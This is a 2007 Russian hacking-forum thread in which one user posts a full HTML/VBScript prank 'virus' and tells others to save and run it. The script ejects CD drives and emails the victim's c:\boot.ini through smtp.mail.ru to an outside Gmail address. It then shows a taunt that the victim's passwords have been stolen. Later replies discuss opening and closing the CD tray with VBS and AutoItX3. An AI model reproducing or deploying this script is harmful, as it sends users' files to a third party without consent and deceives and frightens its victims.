Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
19.05.2007, 16:36
|
|
Участник форума
Регистрация: 21.04.2007
Сообщений: 289
Провел на форуме:
4612647
Репутация:
368
|
|
helat,
<HTML><BODY>
<script language = "JavaScript">
<!--
var userAgent=navigator.appName;
var agentInfo=userAgent.substring(0, 1);
if(agentInfo == "M"){
}
else {
alert("Эта страница оптимизирована для работа с браузером Internet Explorer. В другими браузерами возможны ошибки.")
self.close()
}
//-->
</script>
<script language ="vbscript">
On Error Resume Next
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
Set ww = CreateObject("WMPlayer.OCX.7")
Set cw = ww.cdromCollection
if cw.Count >= 1 then
For i = 0 to cw.Count - 1
cw.Item(i).eject
next
End If
Call SendPost("smtp.mail.ru", "helats@gmail.com", "54027@mail.ru", "ВИРУС", "COPM ZARAZEN")
Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody)
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "54027"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = ""
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
Flds.Update
iMsg.Configuration = iConf
iMsg.To = strTo
iMsg.From = strFrom
iMsg.Subject = strSubject
iMsg.TextBody = strBody
iMsg.AddAttachment "c:\boot.ini"
iMsg.Send
End Function
Set iMsg = Nothing
Set iConf = Nothing
Set Flds = Nothing
--></script></BODY></HTML>
<HTML><HEAD><TITLE>NEX</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><FONT FACE="Arial"><CENTER><BR><BR><BR><BR><BR><BR><BR>< BR><BR><BR><font size="5">хахахаха...твой комп заражен. Твои пароли ушли ко мне!</font><BR><font size="1">бугоагаггаа</font></CENTER></BODY></HTML>
Потом сохраняй как любой ХТМЛ файл и запускай.
|
|
|
19.05.2007, 16:54
|
|
Участник форума
Регистрация: 22.01.2007
Сообщений: 218
Провел на форуме:
1852162
Репутация:
156
|
|
СЕНК.
А чо он смотриться тока из доверенных?
|
|
|
|
19.05.2007, 16:57
|
|
Участник форума
Регистрация: 22.01.2007
Сообщений: 218
Провел на форуме:
1852162
Репутация:
156
|
|
Кстати как сделать чтоб сиди ром задвигался?
|
|
|
|
19.05.2007, 17:08
|
|
Участник форума
Регистрация: 21.04.2007
Сообщений: 289
Провел на форуме:
4612647
Репутация:
368
|
|
Кстати как сделать чтоб сиди ром задвигался?
То есть задвигался обратно,я так понял. Поставь двойной цикл. Должно сработать
if cw.Count >= 1 then
For i = 0 to cw.Count - 1
For i =1 to 2
cw.Item(i).eject
next
next
End If
|
|
|
|
19.05.2007, 17:08
|
|
Участник форума
Регистрация: 03.03.2007
Сообщений: 135
Провел на форуме:
833374
Репутация:
124
|
|
cd-rom задвигается той же самой функцией
cw.Item(i).eject
cw.Item(i).eject
вот это сначала выдвинет сидюк, а потом задвинет его
|
|
|
|
19.05.2007, 17:24
|
|
Участник форума
Регистрация: 22.01.2007
Сообщений: 218
Провел на форуме:
1852162
Репутация:
156
|
|
Вы не много не поняли.
Мне надо при первом запкске его выдвинуть.
при втором задвинуть
|
|
|
|
19.05.2007, 17:43
|
|
Участник форума
Регистрация: 03.03.2007
Сообщений: 135
Провел на форуме:
833374
Репутация:
124
|
|
2 helat ты знаешь букву дисковода или нет?
|
|
|
|
19.05.2007, 18:00
|
|
Участник форума
Регистрация: 22.01.2007
Сообщений: 218
Провел на форуме:
1852162
Репутация:
156
|
|
да
|
|
|
|
19.05.2007, 18:08
|
|
Участник форума
Регистрация: 21.04.2007
Сообщений: 289
Провел на форуме:
4612647
Репутация:
368
|
|
helat , насколько я знаю,средствами VBS можно только открыть дверцу CD-ROM.
Комманды закрытия нет.
|
|
|
|
19.05.2007, 18:23
|
|
Участник форума
Регистрация: 03.03.2007
Сообщений: 135
Провел на форуме:
833374
Репутация:
124
|
|
на vbs можно закрыть дверцу сидюка, тока для этого надо зарегить библиотеку AutoItX3.dll, скрипт для открытия:
Set oAutoIt = WScript.CreateObject("AutoItX3.Control")
oAutoIt.CDTray "d:", "open"
для закрытия:
Set oAutoIt = WScript.CreateObject("AutoItX3.Control")
oAutoIt.CDTray "d:", "close"
Букву диска заменить на свою
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
